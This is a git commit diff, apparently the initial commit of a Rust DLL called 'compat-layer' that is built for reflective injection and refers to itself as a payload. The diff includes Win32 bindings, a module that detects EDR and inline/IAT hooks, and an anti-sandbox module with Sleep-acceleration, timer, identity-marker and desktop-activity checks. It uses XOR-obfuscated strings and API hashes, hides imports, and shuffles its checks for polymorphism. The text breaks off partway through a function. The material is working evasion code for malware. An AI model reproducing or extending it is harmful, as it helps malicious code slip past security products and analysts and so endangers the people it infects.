initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
@@ -0,0 +1,6 @@
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
# dependency at runtime. Only the GNU target is supported: the reflective
# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
# machinery fast-fails under a manual map.
[target.x86_64-pc-windows-gnu]
rustflags = ["-C", "target-feature=+crt-static"]
@@ -0,0 +1 @@
/target
+7
View File
@@ -0,0 +1,7 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "compat-layer"
version = "0.1.0"
@@ -0,0 +1,17 @@
[package]
name = "compat-layer"
version = "0.1.0"
edition = "2021"
[lib]
name = "compat_layer"
crate-type = ["cdylib"]
[profile.release]
opt-level = 3
lto = "thin"
codegen-units = 1
panic = "abort"
strip = "symbols"
overflow-checks = false
debug = false
@@ -0,0 +1,256 @@
//! Raw Win32 FFI declarations and constants used by the payload.
//!
//! These are resolved through the normal PE import table, which the reflective
//! loader fixes up before DllMain runs.
#![allow(non_snake_case)]
#![allow(non_camel_case_types)]
#![allow(dead_code)]
use core::ffi::c_void;
// ---- Handles / return codes ----
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
// ---- CreateFileW ----
pub const GENERIC_READ: u32 = 0x8000_0000;
pub const GENERIC_WRITE: u32 = 0x4000_0000;
pub const FILE_SHARE_READ: u32 = 0x1;
pub const FILE_SHARE_WRITE: u32 = 0x2;
pub const FILE_SHARE_DELETE: u32 = 0x4;
pub const OPEN_EXISTING: u32 = 3;
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
// ---- GetFileType ----
pub const FILE_TYPE_DISK: u32 = 0x0001;
// ---- DuplicateHandle ----
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
// ---- Errors ----
pub const ERROR_SHARING_VIOLATION: u32 = 32;
// ---- Memory / protection ----
pub const PAGE_EXECUTE_READ: u32 = 0x20;
// ---- GetFileSize ----
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
// ---- COM ----
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
// ---- GUID ----
#[repr(C)]
#[derive(Clone, Copy)]
pub struct GUID {
pub data1: u32,
pub data2: u16,
pub data3: u16,
pub data4: [u8; 8],
}
#[link(name = "kernel32")]
extern "system" {
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
pub fn GetEnvironmentVariableW(
lpName: *const u16,
lpBuffer: *mut u16,
nSize: u32,
) -> u32;
pub fn CreateFileW(
lpFileName: *const u16,
dwDesiredAccess: u32,
dwShareMode: u32,
lpSecurityAttributes: *mut c_void,
dwCreationDisposition: u32,
dwFlagsAndAttributes: u32,
hTemplateFile: usize,
) -> usize;
pub fn ReadFile(
hFile: usize,
lpBuffer: *mut c_void,
nNumberOfBytesToRead: u32,
lpNumberOfBytesRead: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn WriteFile(
hFile: usize,
lpBuffer: *const c_void,
nNumberOfBytesToWrite: u32,
lpNumberOfBytesWritten: *mut u32,
lpOverlapped: *mut c_void,
) -> i32;
pub fn FlushFileBuffers(hFile: usize) -> i32;
pub fn CloseHandle(hObject: usize) -> i32;
pub fn GetFileType(hFile: usize) -> u32;
pub fn GetFinalPathNameByHandleW(
hFile: usize,
lpszFilePath: *mut u16,
cchFilePath: u32,
dwFlags: u32,
) -> u32;
pub fn DuplicateHandle(
hSourceProcessHandle: usize,
hSourceHandle: usize,
hTargetProcessHandle: usize,
lpTargetHandle: *mut usize,
dwDesiredAccess: u32,
bInheritHandle: i32,
dwOptions: u32,
) -> i32;
pub fn GetCurrentProcess() -> usize;
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
pub fn GetLastError() -> u32;
// ---- anti-debug / anti-vm / runtime introspection ----
pub fn IsDebuggerPresent() -> i32;
pub fn QueryPerformanceCounter(lpCounter: *mut i64) -> i32;
pub fn GetTickCount64() -> u64;
pub fn GetSystemFirmwareTable(
firmware_table_provider_signature: u32,
firmware_table_id: u32,
p_firmware_table_buffer: *mut c_void,
buffer_size: u32,
) -> u32;
pub fn GetSystemInfo(lp_system_info: *mut c_void) -> ();
pub fn GlobalMemoryStatusEx(lp_buffer: *mut c_void) -> i32;
pub fn CreateToolhelp32Snapshot(dw_flags: u32, th32_process_id: u32) -> usize;
pub fn Process32FirstW(h_snapshot: usize, lppe: *mut c_void) -> i32;
pub fn Process32NextW(h_snapshot: usize, lppe: *mut c_void) -> i32;
pub fn OpenProcess(dw_desired_access: u32, b_inherit_handle: i32, dw_process_id: u32) -> usize;
// ---- anti-sandbox: hooked-path Sleep (must go through the normal API so
// sandbox sleep-skipping is observable) ----
pub fn Sleep(dw_milliseconds: u32);
// ---- anti-sandbox: directory enumeration (Recent files count etc.) ----
pub fn FindFirstFileExW(
lp_file_name: *const u16,
f_info_level_id: u32,
lp_find_file_data: *mut c_void,
f_search_op: u32,
lp_search_filter: *mut c_void,
dw_additional_flags: u32,
) -> usize;
pub fn FindNextFileW(h_find_file: usize, lp_find_file_data: *mut c_void) -> i32;
// ---- anti-vm: registry probing (advapi32, declared below) ----
// ---- anti-vm: filesystem artifacts (kernel32) ----
// GetFileAttributesW declared in the separate extern block below.
// ---- anti-vm: adapter info / input / disk / windows ----
// Declared in their respective extern blocks below.
// ---- anti-dump / memory introspection (kept; VirtualProtect/NtQuery* are
// resolved at runtime via apires so they don't appear in the import table) ----
pub fn VirtualQuery(lp_address: *const c_void, lp_buffer: *mut c_void, dw_length: usize) -> usize;
}
#[link(name = "ole32")]
extern "system" {
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
pub fn CoUninitialize();
pub fn CoCreateInstance(
rclsid: *const GUID,
pUnkOuter: *mut c_void,
dwClsContext: u32,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32;
pub fn CoSetProxyBlanket(
pProxy: *mut c_void,
dwAuthnSvc: u32,
dwAuthzSvc: u32,
pServerPrincName: *mut u16,
dwAuthnLevel: u32,
dwImpLevel: u32,
pAuthInfo: *mut c_void,
dwCapabilities: u32,
) -> i32;
}
#[link(name = "oleaut32")]
extern "system" {
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
pub fn SysFreeString(bstrString: *mut u16);
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
}
// ---- Display (user32) : used to detect virtual/OEM display drivers via a very
// low refresh-rate signature and driver name. ----
pub const ENUM_CURRENT_SETTINGS: u32 = 0xFFFFFFFF;
#[repr(C)]
#[derive(Clone, Copy)]
pub struct DEVMODEW {
pub dm_device_name: [u16; 32],
pub dm_spec_version: u16,
pub dm_driver_version: u16,
pub dm_size: u16,
pub dm_driver_extra: u16,
pub dm_fields: u32,
pub dm_union: [u32; 12], // union of position/orientation/etc; shrunk to 12
pub dm_display_orientation: i32,
pub dm_display_fixed_output: u32,
pub dm_color: i16,
pub dm_duplex: i16,
pub dm_y_resolution: i16,
pub dm_t_t_option: i16,
pub dm_collate: i16,
pub dm_form_name: [u16; 32],
pub dm_log_pixels: u16,
pub dm_bits_per_pel: u32,
pub dm_pels_width: u32,
pub dm_pels_height: u32,
pub dm_display_flags: u32,
pub dm_display_frequency: u32,
pub dm_icc_margin: u32,
pub dm_display_orientation2: u32,
pub dm_display_fixed_output2: u32,
pub dm_panning_width: u32,
pub dm_panning_height: u32,
}
#[link(name = "user32")]
extern "system" {
// Anti-analysis user32 APIs (window/display/input enumeration) are resolved
// at runtime via `dynapi` — they are NOT statically imported. The user32
// link block is retained only for APIs that are both benign and needed at
// link time elsewhere; currently none qualify, so this block is empty.
}
// ---- anti-vm: registry (advapi32) ----
// Registry probing APIs are resolved at runtime via `dynapi` to keep the
// import table clean. Only constants remain.
pub const HKEY_LOCAL_MACHINE: usize = 0x8000_0002;
pub const KEY_READ: u32 = 0x2001_9;
// ---- anti-vm: network adapters (iphlpapi) ----
// GetAdaptersAddresses resolved at runtime via `dynapi`.
// ---- anti-vm: kernel32 extras (same link block as above; declared separately
// for clarity) ----
extern "system" {
pub fn GetFileAttributesW(lp_file_name: *const u16) -> u32;
pub fn GetDriveTypeW(lp_root_path_name: *const u16) -> u32;
pub fn GetVolumeInformationW(
lp_root_path_name: *const u16,
lp_volume_name_buffer: *mut u16,
n_volume_name_size: u32,
lp_volume_serial_number: *mut u32,
lp_maximum_component_length: *mut u32,
lp_file_system_flags: *mut u32,
lp_file_system_name_buffer: *mut u16,
n_file_system_name_size: u32,
) -> i32;
pub fn Module32FirstW(h_snapshot: usize, lpme: *mut c_void) -> i32;
pub fn Module32NextW(h_snapshot: usize, lpme: *mut c_void) -> i32;
}
@@ -0,0 +1,357 @@
//! Userland hook detection — comprehensive.
//!
//! EDRs and sandboxes typically hot-patch the first bytes of critical NT APIs
//! (ntdll) to redirect execution into their own instrumentation. An unhooked
//! x64 syscall stub begins with a fixed prologue (`mov r10, rcx; mov eax, <nr>;
//! syscall; ret`) — a hook replaces this with a `jmp`/`push`/`mov` into their DLL.
//!
//! We detect:
//! - Inline hooks (code patching at function entry)
//! - IAT/EAT hooks (import/export address table modifications)
//! - Syscall stub corruption
//! - Module list manipulation (hidden modules)
//! - Breakpoint / hardware breakpoint detection
use core::ptr;
use crate::apires;
use crate::gen;
use crate::syscall::{r as unmask, HASH_KEY};
/// Public byte-reader for cross-module use (syscall number extraction).
pub(crate) unsafe fn read_bytes_pub(ptr_addr: usize, buf: &mut [u8]) -> usize {
let n = buf.len().min(32);
for i in 0..n {
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
}
n
}
// Rotating-hash constants for the NT functions we probe (algorithm verified
// against apires::hash_ascii). Stored XORed with HASH_KEY so the raw API-hash
// values never appear in the binary; unmask() recovers them at runtime.
const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
/// Read `len` bytes from an address (volatile) into a buffer.
unsafe fn read_bytes(ptr_addr: usize, buf: &mut [u8]) -> usize {
let n = buf.len().min(32);
for i in 0..n {
buf[i] = ptr::read_volatile((ptr_addr + i) as *const u8);
}
n
}
/// Check if bytes look like a clean x64 syscall stub.
/// Pattern: 4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3
unsafe fn is_clean_syscall_stub(buf: &[u8]) -> bool {
if buf.len() < 12 {
return false;
}
// mov r10, rcx
if buf[0] != 0x4C || buf[1] != 0x8B || buf[2] != 0xD1 {
return false;
}
// mov eax, imm32
if buf[3] != 0xB8 {
return false;
}
// syscall (0F 05) at offset 8-9
if buf[8] != 0x0F || buf[9] != 0x05 {
return false;
}
// ret (C3) at offset 10
if buf[10] != 0xC3 {
return false;
}
true
}
/// Check for common hook prologues: JMP (E9/EB), indirect JMP (FF 25),
/// PUSH+MOV trampoline, INT3 (CC), etc.
unsafe fn has_hook_prologue(buf: &[u8]) -> bool {
if buf.is_empty() {
return true; // unreadable = suspicious
}
match buf[0] {
0xE9 | 0xEB => true, // JMP rel32/rel8
0xFF => { // Possible indirect JMP/CALL
if buf.len() > 1 && (buf[1] == 0x25 || buf[1] == 0x15) {
return true; // FF 25 (jmp [rip+disp32]) or FF 15 (call [rip+disp32])
}
false
}
0x68 => true, // PUSH imm32 (trampoline start)
0xCC => true, // INT3 (breakpoint)
0xC3 => { // RET at entry = empty stub or trampoline
if buf.len() >= 2 && buf[1] == 0x90 {
return true; // RET + NOP = suspicious
}
false
}
_ => false,
}
}
/// Check for inline hook by comparing first N bytes against clean stub.
unsafe fn check_inline_hook(addr: usize) -> bool {
let mut probe = [0u8; 32];
read_bytes(addr, &mut probe);
// If it's a clean syscall stub, not hooked
if is_clean_syscall_stub(&probe) {
return false;
}
// If it has a hook prologue, it's hooked
if has_hook_prologue(&probe) {
return true;
}
// Additional heuristic: check for unexpected instructions in first 16 bytes
// Clean ntdll stubs don't have: CALL, LOOP, conditional Jcc in first bytes
for i in 0..16.min(probe.len()) {
match probe[i] {
0xE8 | 0xE9 | 0xEB | 0xFF | 0x68 | 0xCC | 0x0F => {
// 0F could be conditional jump or syscall; check next byte
if probe[i] == 0x0F && i + 1 < probe.len() {
let next = probe[i + 1];
// 0F 05 = syscall (OK), 0F 34 = sysenter (OK)
// 0F 8x = Jcc (suspicious at entry)
if (0x80..=0x8F).contains(&next) {
return true;
}
} else {
return true;
}
}
_ => {}
}
}
false
}
/// Check IAT for a given module - look for entries pointing outside expected modules.
unsafe fn check_iat_hooks(module_base: usize) -> bool {
// Parse PE headers to find Import Address Table
let dos_hdr = module_base as *const u8;
if ptr::read_volatile(dos_hdr) != 0x4D || ptr::read_volatile(dos_hdr.add(1)) != 0x5A {
return false; // Not a valid PE
}
let lfanew = ptr::read_volatile((module_base + 0x3C) as *const u32) as usize;
let nt_hdr = module_base + lfanew;
if ptr::read_volatile(nt_hdr as *const u32) != 0x0000_4550 {
return false; // Not PE32+
}
// Optional header starts at nt_hdr + 24
let opt_hdr = nt_hdr + 24;
let magic = ptr::read_volatile(opt_hdr as *const u16);
let is_pe64 = magic == 0x20B;
// Data directories: offset 96 (PE32) or 112 (PE32+)
let dir_offset = if is_pe64 { 112 } else { 96 };
let import_dir_rva = ptr::read_volatile((nt_hdr + dir_offset + 0) as *const u32) as usize;
let import_dir_size = ptr::read_volatile((nt_hdr + dir_offset + 4) as *const u32) as usize;
if import_dir_rva == 0 || import_dir_size == 0 {
return false;
}
let import_desc = (module_base + import_dir_rva) as *const u8;
let mut suspicious = 0u32;
let mut idx = 0usize;
loop {
let name_rva = ptr::read_volatile((import_desc.add(idx).add(12)) as *const u32) as usize;
if name_rva == 0 {
break;
}
let thunk_rva = ptr::read_volatile((import_desc.add(idx).add(16)) as *const u32) as usize;
if thunk_rva == 0 {
idx += 20;
continue;
}
// Walk thunk array
let mut thunk_idx = 0usize;
loop {
let thunk_addr = module_base + thunk_rva + thunk_idx * if is_pe64 { 8 } else { 4 };
let thunk_val = if is_pe64 {
ptr::read_volatile(thunk_addr as *const u64) as usize
} else {
ptr::read_volatile(thunk_addr as *const u32) as usize
};
if thunk_val == 0 {
break;
}
// Check if thunk points outside known modules (ntdll, kernel32, kernelbase)
let in_known = is_in_known_module(thunk_val);
if !in_known && thunk_val != 0 {
suspicious += 1;
if suspicious > 5 {
return true;
}
}
thunk_idx += 1;
}
idx += 20;
}
false
}
unsafe fn is_in_known_module(addr: usize) -> bool {
let peb = apires::peb_ptr();
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr == 0 { return false; }
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head == 0 { return false; }
let mut cur = head;
loop {
if cur == 0 { break; }
let entry = cur.wrapping_sub(0x10);
let base = ptr::read_volatile((entry + 0x30) as *const usize);
let size = ptr::read_volatile((entry + 0x40) as *const usize); // SizeOfImage
if base != 0 && addr >= base && addr < base + size {
return true;
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur { break; }
cur = next;
}
false
}
/// Check for hidden modules (modules in memory but not in PEB list).
/// Compares VAD regions against PEB module list.
unsafe fn check_hidden_modules() -> bool {
// This is complex; simplified version: check if ntdll base from PEB
// matches ntdll base from KnownDlls or manual scan.
let peb_ntdll = apires::ntdll_base();
if peb_ntdll == 0 {
return true; // Suspicious: ntdll not in PEB
}
// Check KnownDlls directory (requires more code)
// For now, basic sanity: ntdll should be readable and have exports
let mut probe = [0u8; 4];
read_bytes(peb_ntdll, &mut probe);
if ptr::read_volatile(probe.as_ptr() as *const u32) != 0x0000_4550 { // Not "MZ" + "PE"
return true; // ntdll corrupted?
}
false
}
/// Return true if a resolved NT function looks hooked (not a stock stub).
unsafe fn nt_looks_hooked(resolved: usize) -> bool {
if resolved == 0 {
return true;
}
check_inline_hook(resolved)
}
/// Probe ntdll exports we resolve by hash and see if any are hooked.
/// Also checks IAT of current module and kernel32.
/// Returns true if instrumentation was detected.
pub unsafe fn detect_hooks() -> bool {
let mut hooked = 0u32;
let mut checked = 0u32;
// Critical NT APIs to check
let mut critical_apis = [
unmask(HASH_NTPROTECT_VIRTUAL_MEMORY),
unmask(HASH_NTQUERY_VIRTUAL_MEMORY),
unmask(HASH_NTALLOCATE_VIRTUAL_MEMORY),
unmask(HASH_NTFREE_VIRTUAL_MEMORY),
unmask(HASH_NTCREATE_THREAD_EX),
unmask(HASH_NTQUERY_INFORMATION_PROCESS),
unmask(HASH_NTQUERY_SYSTEM_INFORMATION),
unmask(HASH_NTREAD_VIRTUAL_MEMORY),
unmask(HASH_NTWRITE_VIRTUAL_MEMORY),
unmask(HASH_LDR_LOAD_DLL),
];
// Shuffle order using HOOK_ORDER_SEED for polymorphic behavior
let mut seed = gen::HOOK_ORDER_SEED;
for i in (1..critical_apis.len()).rev() {
seed = seed.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
let j = (seed as usize) % (i + 1);
critical_apis.swap(i, j);
}
for &hash in &critical_apis {
if let Some(addr) = resolve_export(hash) {
checked += 1;
if nt_looks_hooked(addr) {
hooked += 1;
}
} else {
hooked += 1; // Failed to resolve = suspicious
}
}
// Check IAT of current module
let peb = apires::peb_ptr();
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
if ldr != 0 {
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
if head != 0 {
let mut cur = head;
loop {
if cur == 0 { break; }
let entry = cur.wrapping_sub(0x10);
let base = ptr::read_volatile((entry + 0x30) as *const usize);
let _name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
let _name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
// Check if this is our own module (first entry usually)
if base != 0 {
if check_iat_hooks(base) {
hooked += 2; // IAT hook is more severe
}
break; // Only check first module (our EXE)
}
let next = ptr::read_volatile((entry + 0x10) as *const usize);
if next == head || next == cur { break; }
cur = next;
}
}
}
// Check for hidden modules
if check_hidden_modules() {
hooked += 2;
}
// Threshold: 2+ hooked critical APIs, or any IAT/hidden module anomaly
hooked >= 2
}
/// Resolve an ntdll export by name hash, returning Some(VA) or None.
pub unsafe fn resolve_export(want: u32) -> Option<usize> {
let base = apires::ntdll_base();
if base == 0 {
return None;
}
let addr = apires::export_by_hash_public(base, want);
if addr == 0 {
None
} else {
Some(addr)
}
}
/// Public: check if a specific address looks hooked (for external use).
pub unsafe fn is_address_hooked(addr: usize) -> bool {
check_inline_hook(addr)
}
@@ -0,0 +1,540 @@
//! Anti-sandbox detection — reliability-focused.
//!
//! Design goal: near-zero false positives on real user machines while still
//! catching automated analysis environments (Cuckoo, CAPE, Joe, Any.Run,
//! custom sandboxes).
//!
//! Reliability strategy:
//! 1. **Hard signals** — physically impossible on a clean host (Sleep
//! acceleration, timer tampering). Each alone is conclusive.
//! 2. **Strong signals** — very rare on real machines (sandbox identity
//! markers, empty desktop). Counted individually.
//! 3. **Weak signals** — occasionally seen on legit machines (few recent
//! files, small screen, quiet mouse). Only counted when at least one
//! strong signal corroborates them. This corroboration rule is what
//! makes the overall verdict reliable.
//!
//! All signature strings are XOR-obfuscated; all checks are independent so a
//! sandbox that spoofs one vector does not defeat the rest.
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::dynapi;
use crate::gen;
use crate::obf;
use crate::syscall;
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
fn wide(s: &[u8]) -> Vec<u16> {
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
}
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
let mut hk: usize = 0;
let status = dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
);
if status == 0 {
dynapi::RegCloseKey(hk);
true
} else {
false
}
}
#[inline]
unsafe fn rdtsc_now() -> u64 {
let mut lo: u32;
let mut hi: u32;
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
((hi as u64) << 32) | lo as u64
}
// ---------------------------------------------------------------------------
// HARD SIGNAL 1: Sleep acceleration (the classic, highly reliable check)
//
// Sandboxes (Cuckoo/CAPE/Joe and many EDR detonation chambers) hook
// kernel32!Sleep / ntdll!NtDelayExecution and fast-forward long waits to cut
// analysis time. We call the *normal hooked API path* (kernel32!Sleep) and
// measure real elapsed time with QueryPerformanceCounter. If the wall clock
// advanced far less than requested, the sleep was manipulated — no clean
// Windows host does this.
// ---------------------------------------------------------------------------
pub fn sleep_accelerated(request_ms: u32) -> bool {
unsafe {
let mut q0: i64 = 0;
let mut q1: i64 = 0;
abi::QueryPerformanceCounter(&mut q0);
abi::Sleep(request_ms);
abi::QueryPerformanceCounter(&mut q1);
let freq = query_freq();
let elapsed_ms = if freq > 0 {
((q1 - q0) as f64) / (freq as f64) * 1000.0
} else {
request_ms as f64 // can't measure; don't flag
};
// Generous margin to avoid FP from scheduling hiccups: only flag when
// less than 80% of the requested time actually passed. Real sleeps
// always overshoot slightly, never undershoot by >20%.
elapsed_ms < (request_ms as f64) * 0.80
}
}
unsafe fn query_freq() -> i64 {
// QueryPerformanceFrequency via direct link (add to kernel32 block).
extern "system" {
fn QueryPerformanceFrequency(lp_frequency: *mut i64) -> i32;
}
let mut f: i64 = 0;
if QueryPerformanceFrequency(&mut f) != 0 {
f
} else {
0
}
}
/// Kernel-level variant: even our *own* NtDelayExecution (direct syscall,
/// bypassing any userland hook) returns early. Catches kernel-timer
/// manipulation (rare, e.g. some kernel-mode sandboxes).
pub fn kernel_sleep_accelerated(request_ms: u32) -> bool {
unsafe {
let t0 = abi::GetTickCount64();
let interval: i64 = -((request_ms as i64) * 10_000);
syscall::sys_nt_delay_execution(0, &interval as *const i64);
let t1 = abi::GetTickCount64();
// GetTickCount itself could be faked; require both sources to agree
// that time barely moved before flagging.
let tick_delta = t1.saturating_sub(t0);
(tick_delta as f64) < (request_ms as f64) * 0.5 && tick_delta < request_ms as u64
}
}
// ---------------------------------------------------------------------------
// HARD SIGNAL 2: Timer inconsistency (RDTSC vs QPC drift)
//
// Under single-stepping instrumentation the TSC advances wildly relative to
// the monotonic QPC clock between samples. Two spaced samples of the ratio
// should agree closely on clean hardware.
// ---------------------------------------------------------------------------
pub fn timer_inconsistent() -> bool {
unsafe {
let mut q0: i64 = 0;
let mut q1: i64 = 0;
let f = query_freq();
if f <= 0 {
return false;
}
let t_a = rdtsc_now();
abi::QueryPerformanceCounter(&mut q0);
// Small deterministic busy work (~ms scale).
let mut sink: u64 = 0;
for i in 0..200_000u64 {
sink ^= i.wrapping_mul(0x9E37_79B9);
}
core::hint::black_box(sink);
abi::QueryPerformanceCounter(&mut q1);
let t_b = rdtsc_now();
let qpc_d = (q1 - q0).max(1) as f64;
let tsc_d1 = (t_b - t_a) as f64;
let ratio1 = tsc_d1 / qpc_d;
// Second sample after a real sleep so the two windows are separated.
abi::Sleep(120);
let t_c = rdtsc_now();
abi::QueryPerformanceCounter(&mut q0);
let mut sink2: u64 = 0;
for i in 0..200_000u64 {
sink2 ^= i.wrapping_mul(0x85EB_CA6B);
}
core::hint::black_box(sink2);
abi::QueryPerformanceCounter(&mut q1);
let t_d = rdtsc_now();
let qpc_d2 = (q1 - q0).max(1) as f64;
let tsc_d2 = (t_d - t_c) as f64;
let ratio2 = tsc_d2 / qpc_d2;
// On clean hardware both ratios approximate the fixed TSC/QPC rate.
let hi = ratio1.max(ratio2);
let lo = ratio1.min(ratio2);
// >4x divergence between windows means something injected cycles or
// froze one clock — stepping debuggers inflate TSC massively.
hi > lo * 4.0 && hi > 50.0
}
}
// ---------------------------------------------------------------------------
// STRONG SIGNAL: identity markers in USERNAME / COMPUTERNAME
//
// Well-known analysis-lab account names. A hit alone isn't conclusive (a dev
// could be named "test"), so weight it strong-but-not-hard.
// ---------------------------------------------------------------------------
pub fn identity_markers() -> bool {
// Deliberately excludes common personal names (high FP risk); keeps only
// labels that are effectively never chosen by real users.
let key: u8 = gen::K_ENV;
let names: [(obf::Slot, u32); 10] = [
obf::sig(key, 0x7001, b"BUDDY"),
obf::sig(key, 0x7002, b"JOHN DOE"),
obf::sig(key, 0x7003, b"SANDOX"),
obf::sig(key, 0x7004, b"CURRENTUSER"),
obf::sig(key, 0x7005, b"FORTINET"),
obf::sig(key, 0x7006, b"VIRUSBOT"),
obf::sig(key, 0x7007, b"MALWAREBOT"),
obf::sig(key, 0x7008, b"SANDBOX"),
obf::sig(key, 0x7009, b"CUCKOO"),
obf::sig(key, 0x700a, b"AUTOUSER"),
];
const LENS: [usize; 10] = [5, 8, 6, 11, 8, 8, 10, 7, 6, 8];
let env_names: [&[u8]; 3] = [b"USERNAME", b"COMPUTERNAME", b"USERDOMAIN"];
let mut buf = [0u16; 128];
unsafe {
for ev in env_names {
let w = wide(ev);
let got = abi::GetEnvironmentVariableW(w.as_ptr(), buf.as_mut_ptr(), 128);
if got == 0 || got >= 128 {
continue;
}
let val: Vec<u8> = buf[..got as usize].iter().map(|&c| c as u8).collect();
let vl = lower(&val);
for (i, s) in names.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&vl, &plain[..LENS[i]]) {
return true;
}
}
}
}
false
}
// ---------------------------------------------------------------------------
// STRONG SIGNAL: desktop emptiness (Recent-items count)
//
// A real, used machine has dozens of shell Recent links. A pristine snapshot
// has ~none. Freshly-imaged legit machines are the main FP risk, hence this
// is "strong", not hard.
// ---------------------------------------------------------------------------
#[repr(C)]
struct FindDataW {
dw_attributes: u32,
_creation: u64,
_access: u64,
_write: u64,
_size_high: u32,
_size_low: u32,
_res0: u32,
_res1: u32,
c_file_name: [u16; 260],
_alt: [u16; 14],
_pad: [u16; 2],
}
unsafe fn count_files(dir_wide: &[u16], max_count: u32) -> u32 {
const FIND_FIRST_EX_CASE_SENSITIVE: u32 = 1;
let _ = FIND_FIRST_EX_CASE_SENSITIVE;
let mut count: u32 = 0;
let mut fd: FindDataW = core::mem::zeroed();
let h = abi::FindFirstFileExW(
dir_wide.as_ptr(),
0, // FindExInfoStandard
&mut fd as *mut _ as *mut c_void,
0, // FindExSearchNameMatch
ptr::null_mut(),
0,
);
if h == usize::MAX || h == 0 {
return 0;
}
loop {
let name_len = fd.c_file_name.iter().position(|&c| c == 0).unwrap_or(0);
// skip "." and ".."
let dot = name_len == 1 && fd.c_file_name[0] == '.' as u16;
let dotdot = name_len == 2 && fd.c_file_name[0] == '.' as u16 && fd.c_file_name[1] == '.' as u16;
if !dot && !dotdot {
count += 1;
if count >= max_count {
break;
}
}
if abi::FindNextFileW(h, &mut fd as *mut _ as *mut c_void) == 0 {
break;
}
}
extern "system" { fn FindClose(h_find_file: usize) -> i32; }
FindClose(h);
count
}
pub fn desktop_activity_sparse() -> bool {
unsafe {
// %APPDATA%\Microsoft\Windows\Recent\*
let mut appdata = [0u16; 160];
let av_w = wide(b"APPDATA");
let n = abi::GetEnvironmentVariableW(av_w.as_ptr(), appdata.as_mut_ptr(), 150);
if n == 0 || n >= 140 {
return false;
}
let mut pattern: Vec<u16> = appdata[..n as usize].to_vec();
let suffix = b"\\Microsoft\\Windows\\Recent\\*";
for &c in suffix {
pattern.push(c as u16);
}
pattern.push(0);
let recents = count_files(&pattern, 40);
// < 4 recent items on a booted-and-used machine is unusual.
recents < 4
}
}
/// Number of installed programs (Uninstall subkeys). Sparse program lists
/// suggest a disposable image. Weak-ish on its own; part of desktop profile.
pub fn installed_programs_sparse(min_expected: u32) -> bool {
let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
unsafe {
let mut hk: usize = 0;
if dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
path.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
) != 0
{
return true; // can't even open Uninstall = broken/minimal image
}
let mut idx: u32 = 0;
let mut count: u32 = 0;
let mut name_buf = [0u16; 256];
loop {
let mut sz: u32 = 256;
